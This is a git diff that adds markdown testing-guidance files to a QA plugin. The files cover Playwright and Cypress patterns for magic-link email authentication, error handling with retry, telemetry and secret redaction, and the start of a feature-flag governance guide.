+    await page.getByTestId('user-menu').click();
+    await page.getByTestId('sign-out').click();
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+
+    // Try to reuse SAME link (should fail)
+    await page.goto(magicLink);
+
+    // Assert: Link already used error
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/already.*used|link.*used/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should handle rapid successive link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 3 times rapidly
+    for (let i = 0; i < 3; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+      await expect(page.getByTestId('check-email-message')).toBeVisible();
+    }
+
+    // Only the LATEST link should work
+    const MailosaurClient = require('mailosaur');
+    const mailosaur = new MailosaurClient(process.env.MAILOSAUR_API_KEY);
+
+    const messages = await mailosaur.messages.list(MAILOSAUR_SERVER_ID, {
+      sentTo: testEmail,
+    });
+
+    // Should receive 3 emails
+    expect(messages.items.length).toBeGreaterThanOrEqual(3);
+
+    // Get the LATEST magic link
+    const latestMessage = messages.items[0]; // Most recent first
+    const latestLink = latestMessage.html.links[0].href;
+
+    // Latest link works
+    await page.goto(latestLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Older links should NOT work (if backend invalidates previous)
+    await page.getByTestId('sign-out').click();
+    const olderLink = messages.items[1].html.links[0].href;
+
+    await page.goto(olderLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+  });
+
+  test('should rate-limit excessive magic link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 10 times rapidly (should hit rate limit)
+    for (let i = 0; i < 10; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+
+      // After N requests, should show rate limit error
+      const errorVisible = await page
+        .getByTestId('rate-limit-error')
+        .isVisible({ timeout: 1000 })
+        .catch(() => false);
+
+      if (errorVisible) {
+        console.log(`Rate limit hit after ${i + 1} requests`);
+        await expect(page.getByTestId('rate-limit-error')).toContainText(/too many.*requests|rate.*limit/i);
+        return;
+      }
+    }
+
+    // If no rate limit after 10 requests, log warning
+    console.warn('⚠️  No rate limit detected after 10 requests');
+  });
+});
+```
+
+**Key Points**:
+
+- **Expired links**: Test 24+ hour old tokens
+- **Invalid tokens**: Malformed or garbage tokens rejected
+- **Reuse prevention**: Same link can't be used twice
+- **Rapid requests**: Multiple requests handled gracefully
+- **Rate limiting**: Excessive requests blocked
+
+---
+
+### Example 4: Caching Strategy with cypress-data-session / Playwright Projects
+
+**Context**: Minimize email consumption by sharing authentication state across tests and specs.
+
+**Implementation**:
+
+```javascript
+// cypress/support/commands/register-and-sign-in.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Email Authentication Caching Strategy
+ * - One email per test run (not per spec, not per test)
+ * - First spec: Full registration flow (form → email → code → sign in)
+ * - Subsequent specs: Only sign in (reuse user)
+ * - Subsequent tests in same spec: Session already active (no sign in)
+ */
+
+// Helper: Fill registration form
+function fillRegistrationForm({ fullName, userName, email, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Register').click();
+  cy.get('#reg-dialog-form').should('be.visible');
+  cy.get('#first-name').type(fullName, { delay: 0 });
+  cy.get('#last-name').type(lastName, { delay: 0 });
+  cy.get('#email').type(email, { delay: 0 });
+  cy.get('#username').type(userName, { delay: 0 });
+  cy.get('#password').type(password, { delay: 0 });
+  cy.contains('button', 'Create an account').click();
+  cy.wait('@cognito').its('response.statusCode').should('equal', 200);
+}
+
+// Helper: Confirm registration with email code
+function confirmRegistration(email) {
+  return cy
+    .mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), { sentTo: email })
+    .its('html.codes.0.value') // Mailosaur auto-extracts codes!
+    .then((code) => {
+      cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+      cy.get('#verification-code').type(code, { delay: 0 });
+      cy.contains('button', 'Confirm registration').click();
+      cy.wait('@cognito');
+      cy.contains('You are now registered!').should('be.visible');
+      cy.contains('button', /ok/i).click();
+      return cy.wrap(code); // Return code for reference
+    });
+}
+
+// Helper: Full registration (form + email)
+function register({ fullName, userName, email, password }) {
+  fillRegistrationForm({ fullName, userName, email, password });
+  return confirmRegistration(email);
+}
+
+// Helper: Sign in
+function signIn({ userName, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Sign in').click();
+  cy.get('#sign-in-username').type(userName, { delay: 0 });
+  cy.get('#sign-in-password').type(password, { delay: 0 });
+  cy.contains('button', 'Sign in').click();
+  cy.wait('@cognito');
+  cy.contains('Sign out').should('be.visible');
+}
+
+/**
+ * Register and sign in with email caching
+ * ONE EMAIL PER MACHINE (cypress run or cypress open)
+ */
+Cypress.Commands.add('registerAndSignIn', ({ fullName, userName, email, password }) => {
+  return dataSession({
+    name: email, // Unique session per email
+
+    // First time: Full registration (form → email → code)
+    init: () => register({ fullName, userName, email, password }),
+
+    // Subsequent specs: Just check email exists (code already used)
+    setup: () => confirmRegistration(email),
+
+    // Always runs after init/setup: Sign in
+    recreate: () => signIn({ userName, password }),
+
+    // Share across ALL specs (one email for entire test run)
+    shareAcrossSpecs: true,
+  });
+});
+```
+
+**Usage across multiple specs**:
+
+```javascript
+// cypress/e2e/place-order.cy.ts
+describe('Place Order', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'), // From cypress.config
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email across all specs
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should place order', () => {
+    /* ... */
+  });
+  it('should view order history', () => {
+    /* ... */
+  });
+});
+
+// cypress/e2e/profile.cy.ts
+describe('User Profile', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'),
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email - no new email sent!
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should update profile', () => {
+    /* ... */
+  });
+});
+```
+
+**Playwright equivalent with storageState**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+    {
+      name: 'authenticated',
+      testMatch: /.*\.spec\.ts/,
+      dependencies: ['setup'],
+      use: {
+        storageState: '.auth/user-session.json', // Reuse auth state
+      },
+    },
+  ],
+});
+```
+
+```typescript
+// tests/global-setup.ts (runs once)
+import { test as setup } from '@playwright/test';
+import { getMagicLinkFromEmail } from './support/mailosaur-helpers';
+
+const authFile = '.auth/user-session.json';
+
+setup('authenticate via magic link', async ({ page }) => {
+  const testEmail = process.env.TEST_USER_EMAIL!;
+
+  // Request magic link
+  await page.goto('/login');
+  await page.getByTestId('email-input').fill(testEmail);
+  await page.getByTestId('send-magic-link').click();
+
+  // Get and visit magic link
+  const magicLink = await getMagicLinkFromEmail(testEmail);
+  await page.goto(magicLink);
+
+  // Verify authenticated
+  await expect(page.getByTestId('user-menu')).toBeVisible();
+
+  // Save authenticated state (ONE TIME for all tests)
+  await page.context().storageState({ path: authFile });
+
+  console.log('✅ Authentication state saved to', authFile);
+});
+```
+
+**Key Points**:
+
+- **One email per run**: Global setup authenticates once
+- **State reuse**: All tests use cached storageState
+- **cypress-data-session**: Intelligently manages cache lifecycle
+- **shareAcrossSpecs**: Session shared across all spec files
+- **Massive savings**: 500 tests = 1 email (not 500!)
+
+---
+
+## Email Authentication Testing Checklist
+
+Before implementing email auth tests, verify:
+
+- [ ] **Email service**: Mailosaur/Ethereal/MailHog configured with API keys
+- [ ] **Link extraction**: Use built-in parsing (html.links[0].href) over regex
+- [ ] **State preservation**: localStorage/session/cookies saved and restored
+- [ ] **Session caching**: cypress-data-session or storageState prevents redundant emails
+- [ ] **Negative flows**: Expired, invalid, reused, rapid requests tested
+- [ ] **Quota awareness**: One email per run (not per test)
+- [ ] **PII scrubbing**: Email IDs logged for debug, but scrubbed from artifacts
+- [ ] **Timeout handling**: 30 second email retrieval timeout configured
+
+## Integration Points
+
+- Used in workflows: `*framework` (email auth setup), `*automate` (email auth test generation)
+- Related fragments: `fixture-architecture.md`, `test-quality.md`
+- Email services: Mailosaur (recommended), Ethereal (free), MailHog (self-hosted)
+- Plugins: cypress-mailosaur, cypress-data-session
+
+_Source: Email authentication blog, Murat testing toolkit, Mailosaur documentation_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/error-handling.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/error-handling.md
new file mode 100644
index 0000000..32de3d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/error-handling.md
@@ -0,0 +1,725 @@
+# Error Handling and Resilience Checks
+
+## Principle
+
+Treat expected failures explicitly: intercept network errors, assert UI fallbacks (error messages visible, retries triggered), and use scoped exception handling to ignore known errors while catching regressions. Test retry/backoff logic by forcing sequential failures (500 → timeout → success) and validate telemetry logging. Log captured errors with context (request payload, user/session) but redact secrets to keep artifacts safe for sharing.
+
+## Rationale
+
+Tests fail for two reasons: genuine bugs or poor error handling in the test itself. Without explicit error handling patterns, tests become noisy (uncaught exceptions cause false failures) or silent (swallowing all errors hides real bugs). Scoped exception handling (Cypress.on('uncaught:exception'), page.on('pageerror')) allows tests to ignore documented, expected errors while surfacing unexpected ones. Resilience testing (retry logic, graceful degradation) ensures applications handle failures gracefully in production.
+
+## Pattern Examples
+
+### Example 1: Scoped Exception Handling (Expected Errors Only)
+
+**Context**: Handle known errors (Network failures, expected 500s) without masking unexpected bugs.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/error-handling.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Scoped Error Handling Pattern
+ * - Only ignore specific, documented errors
+ * - Rethrow everything else to catch regressions
+ * - Validate error UI and user experience
+ */
+
+test.describe('API Error Handling', () => {
+  test('should display error message when API returns 500', async ({ page }) => {
+    // Scope error handling to THIS test only
+    const consoleErrors: string[] = [];
+    page.on('pageerror', (error) => {
+      // Only swallow documented NetworkError
+      if (error.message.includes('NetworkError: Failed to fetch')) {
+        consoleErrors.push(error.message);
+        return; // Swallow this specific error
+      }
+      // Rethrow all other errors (catch regressions!)
+      throw error;
+    });
+
+    // Arrange: Mock 500 error response
+    await page.route('**/api/users', (route) =>
+      route.fulfill({
+        status: 500,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+        }),
+      }),
+    );
+
+    // Act: Navigate to page that fetches users
+    await page.goto('/dashboard');
+
+    // Assert: Error UI displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/error.*loading|failed.*load/i);
+
+    // Assert: Retry button visible
+    await expect(page.getByTestId('retry-button')).toBeVisible();
+
+    // Assert: NetworkError was thrown and caught
+    expect(consoleErrors).toContainEqual(expect.stringContaining('NetworkError'));
+  });
+
+  test('should NOT swallow unexpected errors', async ({ page }) => {
+    let unexpectedError: Error | null = null;
+
+    page.on('pageerror', (error) => {
+      // Capture but don't swallow - test should fail
+      unexpectedError = error;
+      throw error;
+    });
+
+    // Arrange: App has JavaScript error (bug)
+    await page.addInitScript(() => {
+      // Simulate bug in app code
+      (window as any).buggyFunction = () => {
+        throw new Error('UNEXPECTED BUG: undefined is not a function');
+      };
+    });
+
+    await page.goto('/dashboard');
+
+    // Trigger buggy function
+    await page.evaluate(() => (window as any).buggyFunction());
+
+    // Assert: Test fails because unexpected error was NOT swallowed
+    expect(unexpectedError).not.toBeNull();
+    expect(unexpectedError?.message).toContain('UNEXPECTED BUG');
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/error-handling.cy.ts
+describe('API Error Handling', () => {
+  it('should display error message when API returns 500', () => {
+    // Scoped to this test only
+    cy.on('uncaught:exception', (err) => {
+      // Only swallow documented NetworkError
+      if (err.message.includes('NetworkError')) {
+        return false; // Prevent test failure
+      }
+      // All other errors fail the test
+      return true;
+    });
+
+    // Arrange: Mock 500 error
+    cy.intercept('GET', '**/api/users', {
+      statusCode: 500,
+      body: {
+        error: 'Internal server error',
+        code: 'INTERNAL_ERROR',
+      },
+    }).as('getUsers');
+
+    // Act
+    cy.visit('/dashboard');
+    cy.wait('@getUsers');
+
+    // Assert: Error UI
+    cy.get('[data-cy="error-message"]').should('be.visible');
+    cy.get('[data-cy="error-message"]').should('contain', 'error loading');
+    cy.get('[data-cy="retry-button"]').should('be.visible');
+  });
+
+  it('should NOT swallow unexpected errors', () => {
+    // No exception handler - test should fail on unexpected errors
+
+    cy.visit('/dashboard');
+
+    // Trigger unexpected error
+    cy.window().then((win) => {
+      // This should fail the test
+      win.eval('throw new Error("UNEXPECTED BUG")');
+    });
+
+    // Test fails (as expected) - validates error detection works
+  });
+});
+```
+
+**Key Points**:
+
+- **Scoped handling**: page.on() / cy.on() scoped to specific tests
+- **Explicit allow-list**: Only ignore documented errors
+- **Rethrow unexpected**: Catch regressions by failing on unknown errors
+- **Error UI validation**: Assert user sees error message
+- **Logging**: Capture errors for debugging, don't swallow silently
+
+---
+
+### Example 2: Retry Validation Pattern (Network Resilience)
+
+**Context**: Test that retry/backoff logic works correctly for transient failures.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/retry-resilience.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Retry Validation Pattern
+ * - Force sequential failures (500 → 500 → 200)
+ * - Validate retry attempts and backoff timing
+ * - Assert telemetry captures retry events
+ */
+
+test.describe('Network Retry Logic', () => {
+  test('should retry on 500 error and succeed', async ({ page }) => {
+    let attemptCount = 0;
+    const attemptTimestamps: number[] = [];
+
+    // Mock API: Fail twice, succeed on third attempt
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      attemptTimestamps.push(Date.now());
+
+      if (attemptCount <= 2) {
+        // First 2 attempts: 500 error
+        route.fulfill({
+          status: 500,
+          body: JSON.stringify({ error: 'Server error' }),
+        });
+      } else {
+        // 3rd attempt: Success
+        route.fulfill({
+          status: 200,
+          contentType: 'application/json',
+          body: JSON.stringify({ products: [{ id: 1, name: 'Product 1' }] }),
+        });
+      }
+    });
+
+    // Act: Navigate (should retry automatically)
+    await page.goto('/products');
+
+    // Assert: Data eventually loads after retries
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByTestId('product-item')).toHaveCount(1);
+
+    // Assert: Exactly 3 attempts made
+    expect(attemptCount).toBe(3);
+
+    // Assert: Exponential backoff timing (1s → 2s between attempts)
+    if (attemptTimestamps.length === 3) {
+      const delay1 = attemptTimestamps[1] - attemptTimestamps[0];
+      const delay2 = attemptTimestamps[2] - attemptTimestamps[1];
+
+      expect(delay1).toBeGreaterThanOrEqual(900); // ~1 second
+      expect(delay1).toBeLessThan(1200);
+      expect(delay2).toBeGreaterThanOrEqual(1900); // ~2 seconds
+      expect(delay2).toBeLessThan(2200);
+    }
+
+    // Assert: Telemetry logged retry events
+    const telemetryEvents = await page.evaluate(() => (window as any).__TELEMETRY_EVENTS__ || []);
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 1,
+        endpoint: '/api/products',
+      }),
+    );
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 2,
+      }),
+    );
+  });
+
+  test('should give up after max retries and show error', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: Always fail (test retry limit)
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Persistent server error' }),
+      });
+    });
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Max retries reached (3 attempts typical)
+    expect(attemptCount).toBe(3);
+
+    // Assert: Error UI displayed after exhausting retries
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/unable.*load|failed.*after.*retries/i);
+
+    // Assert: Data not displayed
+    await expect(page.getByTestId('product-list')).not.toBeVisible();
+  });
+
+  test('should NOT retry on 404 (non-retryable error)', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: 404 error (should NOT retry)
+    await page.route('**/api/products/999', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 404,
+        body: JSON.stringify({ error: 'Product not found' }),
+      });
+    });
+
+    await page.goto('/products/999');
+
+    // Assert: Only 1 attempt (no retries on 404)
+    expect(attemptCount).toBe(1);
+
+    // Assert: 404 error displayed immediately
+    await expect(page.getByTestId('not-found-message')).toBeVisible();
+  });
+});
+```
+
+**Cypress with retry interception**:
+
+```javascript
+// cypress/e2e/retry-resilience.cy.ts
+describe('Network Retry Logic', () => {
+  it('should retry on 500 and succeed on 3rd attempt', () => {
+    let attemptCount = 0;
+
+    cy.intercept('GET', '**/api/products', (req) => {
+      attemptCount++;
+
+      if (attemptCount <= 2) {
+        req.reply({ statusCode: 500, body: { error: 'Server error' } });
+      } else {
+        req.reply({ statusCode: 200, body: { products: [{ id: 1, name: 'Product 1' }] } });
+      }
+    }).as('getProducts');
+
+    cy.visit('/products');
+
+    // Wait for final successful request
+    cy.wait('@getProducts').its('response.statusCode').should('eq', 200);
+
+    // Assert: Data loaded
+    cy.get('[data-cy="product-list"]').should('be.visible');
+    cy.get('[data-cy="product-item"]').should('have.length', 1);
+
+    // Validate retry count
+    cy.wrap(attemptCount).should('eq', 3);
+  });
+});
+```
+
+**Key Points**:
+
+- **Sequential failures**: Test retry logic with 500 → 500 → 200
+- **Backoff timing**: Validate exponential backoff delays
+- **Retry limits**: Max attempts enforced (typically 3)
+- **Non-retryable errors**: 404s don't trigger retries
+- **Telemetry**: Log retry attempts for monitoring
+
+---
+
+### Example 3: Telemetry Logging with Context (Sentry Integration)
+
+**Context**: Capture errors with full context for production debugging without exposing secrets.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/telemetry-logging.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Telemetry Logging Pattern
+ * - Log errors with request context
+ * - Redact sensitive data (tokens, passwords, PII)
+ * - Integrate with monitoring (Sentry, Datadog)
+ * - Validate error logging without exposing secrets
+ */
+
+type ErrorLog = {
+  level: 'error' | 'warn' | 'info';
+  message: string;
+  context?: {
+    endpoint?: string;
+    method?: string;
+    statusCode?: number;
+    userId?: string;
+    sessionId?: string;
+  };
+  timestamp: string;
+};
+
+test.describe('Error Telemetry', () => {
+  test('should log API errors with context', async ({ page }) => {
+    const errorLogs: ErrorLog[] = [];
+
+    // Capture console errors
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') {
+        try {
+          const log = JSON.parse(msg.text());
+          errorLogs.push(log);
+        } catch {
+          // Not a structured log, ignore
+        }
+      }
+    });
+
+    // Mock failing API
+    await page.route('**/api/orders', (route) =>
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Payment processor unavailable' }),
+      }),
+    );
+
+    // Act: Trigger error
+    await page.goto('/checkout');
+    await page.getByTestId('place-order').click();
+
+    // Wait for error UI
+    await expect(page.getByTestId('error-message')).toBeVisible();
+
+    // Assert: Error logged with context
+    expect(errorLogs).toContainEqual(
+      expect.objectContaining({
+        level: 'error',
+        message: expect.stringContaining('API request failed'),
+        context: expect.objectContaining({
+          endpoint: '/api/orders',
+          method: 'POST',
+          statusCode: 500,
+          userId: expect.any(String),
+        }),
+      }),
+    );
+
+    // Assert: Sensitive data NOT logged
+    const logString = JSON.stringify(errorLogs);
+    expect(logString).not.toContain('password');
+    expect(logString).not.toContain('token');
+    expect(logString).not.toContain('creditCard');
+  });
+
+  test('should send errors to Sentry with breadcrumbs', async ({ page }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK
+    await page.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error, context?: any) => {
+          (window as any).__SENTRY_EVENTS__ = (window as any).__SENTRY_EVENTS__ || [];
+          (window as any).__SENTRY_EVENTS__.push({
+            error: error.message,
+            context,
+            timestamp: Date.now(),
+          });
+        },
+        addBreadcrumb: (breadcrumb: any) => {
+          (window as any).__SENTRY_BREADCRUMBS__ = (window as any).__SENTRY_BREADCRUMBS__ || [];
+          (window as any).__SENTRY_BREADCRUMBS__.push(breadcrumb);
+        },
+      };
+    });
+
+    // Mock failing API
+    await page.route('**/api/users', (route) => route.fulfill({ status: 403, body: { error: 'Forbidden' } }));
+
+    // Act
+    await page.goto('/users');
+
+    // Assert: Sentry captured error
+    const events = await page.evaluate(() => (window as any).__SENTRY_EVENTS__);
+    expect(events).toHaveLength(1);
+    expect(events[0]).toMatchObject({
+      error: expect.stringContaining('403'),
+      context: expect.objectContaining({
+        endpoint: '/api/users',
+        statusCode: 403,
+      }),
+    });
+
+    // Assert: Breadcrumbs include user actions
+    const breadcrumbs = await page.evaluate(() => (window as any).__SENTRY_BREADCRUMBS__);
+    expect(breadcrumbs).toContainEqual(
+      expect.objectContaining({
+        category: 'navigation',
+        message: '/users',
+      }),
+    );
+  });
+});
+```
+
+**Cypress with Sentry**:
+
+```javascript
+// cypress/e2e/telemetry-logging.cy.ts
+describe('Error Telemetry', () => {
+  it('should log API errors with redacted sensitive data', () => {
+    const errorLogs = [];
+
+    // Capture console errors
+    cy.on('window:before:load', (win) => {
+      cy.stub(win.console, 'error').callsFake((msg) => {
+        errorLogs.push(msg);
+      });
+    });
+
+    // Mock failing API
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Payment failed' },
+    });
+
+    // Act
+    cy.visit('/checkout');
+    cy.get('[data-cy="place-order"]').click();
+
+    // Assert: Error logged
+    cy.wrap(errorLogs).should('have.length.greaterThan', 0);
+
+    // Assert: Context included
+    cy.wrap(errorLogs[0]).should('include', '/api/orders');
+
+    // Assert: Secrets redacted
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'password');
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'creditCard');
+  });
+});
+```
+
+**Error logger utility with redaction**:
+
+```typescript
+// src/utils/error-logger.ts
+type ErrorContext = {
+  endpoint?: string;
+  method?: string;
+  statusCode?: number;
+  userId?: string;
+  sessionId?: string;
+  requestPayload?: any;
+};
+
+const SENSITIVE_KEYS = ['password', 'token', 'creditCard', 'ssn', 'apiKey'];
+
+/**
+ * Redact sensitive data from objects
+ */
+function redactSensitiveData(obj: any): any {
+  if (typeof obj !== 'object' || obj === null) return obj;
+
+  const redacted = { ...obj };
+
+  for (const key of Object.keys(redacted)) {
+    if (SENSITIVE_KEYS.some((sensitive) => key.toLowerCase().includes(sensitive))) {
+      redacted[key] = '[REDACTED]';
+    } else if (typeof redacted[key] === 'object') {
+      redacted[key] = redactSensitiveData(redacted[key]);
+    }
+  }
+
+  return redacted;
+}
+
+/**
+ * Log error with context (Sentry integration)
+ */
+export function logError(error: Error, context?: ErrorContext) {
+  const safeContext = context ? redactSensitiveData(context) : {};
+
+  const errorLog = {
+    level: 'error' as const,
+    message: error.message,
+    stack: error.stack,
+    context: safeContext,
+    timestamp: new Date().toISOString(),
+  };
+
+  // Console (development)
+  console.error(JSON.stringify(errorLog));
+
+  // Sentry (production)
+  if (typeof window !== 'undefined' && (window as any).Sentry) {
+    (window as any).Sentry.captureException(error, {
+      contexts: { custom: safeContext },
+    });
+  }
+}
+```
+
+**Key Points**:
+
+- **Context-rich logging**: Endpoint, method, status, user ID
+- **Secret redaction**: Passwords, tokens, PII removed before logging
+- **Sentry integration**: Production monitoring with breadcrumbs
+- **Structured logs**: JSON format for easy parsing
+- **Test validation**: Assert logs contain context but not secrets
+
+---
+
+### Example 4: Graceful Degradation Tests (Fallback Behavior)
+
+**Context**: Validate application continues functioning when services are unavailable.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/graceful-degradation.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Graceful Degradation Pattern
+ * - Simulate service unavailability
+ * - Validate fallback behavior
+ * - Ensure user experience degrades gracefully
+ * - Verify telemetry captures degradation events
+ */
+
+test.describe('Service Unavailability', () => {
+  test('should display cached data when API is down', async ({ page }) => {
+    // Arrange: Seed localStorage with cached data
+    await page.addInitScript(() => {
+      localStorage.setItem(
+        'products_cache',
+        JSON.stringify({
+          data: [
+            { id: 1, name: 'Cached Product 1' },
+            { id: 2, name: 'Cached Product 2' },
+          ],
+          timestamp: Date.now(),
+        }),
+      );
+    });
+
+    // Mock API unavailable
+    await page.route(
+      '**/api/products',
+      (route) => route.abort('connectionrefused'), // Simulate server down
+    );
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Cached data displayed
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByText('Cached Product 1')).toBeVisible();
+
+    // Assert: Stale data warning shown
+    await expect(page.getByTestId('cache-warning')).toBeVisible();
+    await expect(page.getByTestId('cache-warning')).toContainText(/showing.*cached|offline.*mode/i);
+
+    // Assert: Retry button available
+    await expect(page.getByTestId('refresh-button')).toBeVisible();
+  });
+
+  test('should show fallback UI when analytics service fails', async ({ page }) => {
+    // Mock analytics service down (non-critical)
+    await page.route('**/analytics/track', (route) => route.fulfill({ status: 503, body: 'Service unavailable' }));
+
+    // Act: Navigate normally
+    await page.goto('/dashboard');
+
+    // Assert: Page loads successfully (analytics failure doesn't block)
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+
+    // Assert: Analytics error logged but not shown to user
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+
+    // Trigger analytics event
+    await page.getByTestId('track-action-button').click();
+
+    // Analytics error logged
+    expect(consoleErrors).toContainEqual(expect.stringContaining('Analytics service unavailable'));
+
+    // But user doesn't see error
+    await expect(page.getByTestId('error-message')).not.toBeVisible();
+  });
+
+  test('should fallback to local validation when API is slow', async ({ page }) => {
+    // Mock slow API (> 5 seconds)
+    await page.route('**/api/validate-email', async (route) => {
+      await new Promise((resolve) => setTimeout(resolve, 6000)); // 6 second delay
+      route.fulfill({
+        status: 200,
+        body: JSON.stringify({ valid: true }),
+      });
+    });
+
+    // Act: Fill form
+    await page.goto('/signup');
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('email-input').blur();
+
+    // Assert: Client-side validation triggers immediately (doesn't wait for API)
+    await expect(page.getByTestId('email-valid-icon')).toBeVisible({ timeout: 1000 });
+
+    // Assert: Eventually API validates too (but doesn't block UX)
+    await expect(page.getByTestId('email-validated-badge')).toBeVisible({ timeout: 7000 });
+  });
+
+  test('should maintain functionality with third-party script failure', async ({ page }) => {
+    // Block third-party scripts (Google Analytics, Intercom, etc.)
+    await page.route('**/*.google-analytics.com/**', (route) => route.abort());
+    await page.route('**/*.intercom.io/**', (route) => route.abort());
+
+    // Act
+    await page.goto('/');
+
+    // Assert: App works without third-party scripts
+    await expect(page.getByTestId('main-content')).toBeVisible();
+    await expect(page.getByTestId('nav-menu')).toBeVisible();
+
+    // Assert: Core functionality intact
+    await page.getByTestId('nav-products').click();
+    await expect(page).toHaveURL(/.*\/products/);
+  });
+});
+```
+
+**Key Points**:
+
+- **Cached fallbacks**: Display stale data when API unavailable
+- **Non-critical degradation**: Analytics failures don't block app
+- **Client-side fallbacks**: Local validation when API slow
+- **Third-party resilience**: App works without external scripts
+- **User transparency**: Stale data warnings displayed
+
+---
+
+## Error Handling Testing Checklist
+
+Before shipping error handling code, verify:
+
+- [ ] **Scoped exception handling**: Only ignore documented errors (NetworkError, specific codes)
+- [ ] **Rethrow unexpected**: Unknown errors fail tests (catch regressions)
+- [ ] **Error UI tested**: User sees error messages for all error states
+- [ ] **Retry logic validated**: Sequential failures test backoff and max attempts
+- [ ] **Telemetry verified**: Errors logged with context (endpoint, status, user)
+- [ ] **Secret redaction**: Logs don't contain passwords, tokens, PII
+- [ ] **Graceful degradation**: Critical services down, app shows fallback UI
+- [ ] **Non-critical failures**: Analytics/tracking failures don't block app
+
+## Integration Points
+
+- Used in workflows: `*automate` (error handling test generation), `*test-review` (error pattern detection)
+- Related fragments: `network-first.md`, `test-quality.md`, `contract-testing.md`
+- Monitoring tools: Sentry, Datadog, LogRocket
+
+_Source: Murat error-handling patterns, Pact resilience guidance, enterprise production error handling_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/feature-flags.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/feature-flags.md
new file mode 100644
index 0000000..2b8a458
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/feature-flags.md
@@ -0,0 +1,750 @@
+# Feature Flag Governance
+
+## Principle
+
+Feature flags enable controlled rollouts and A/B testing, but require disciplined testing governance. Centralize flag definitions in a frozen enum, test both enabled and disabled states, clean up targeting after each spec, and maintain a comprehensive flag lifecycle checklist. For LaunchDarkly-style systems, script API helpers to seed variations programmatically rather than manual UI mutations.
+
+## Rationale
+
+Poorly managed feature flags become technical debt: untested variations ship broken code, forgotten flags clutter the codebase, and shared environments become unstable from leftover targeting rules. Structured governance ensures flags are testable, traceable, temporary, and safe. Testing both states prevents surprises when flags flip in production.
+
+## Pattern Examples
+
+### Example 1: Feature Flag Enum Pattern with Type Safety
+
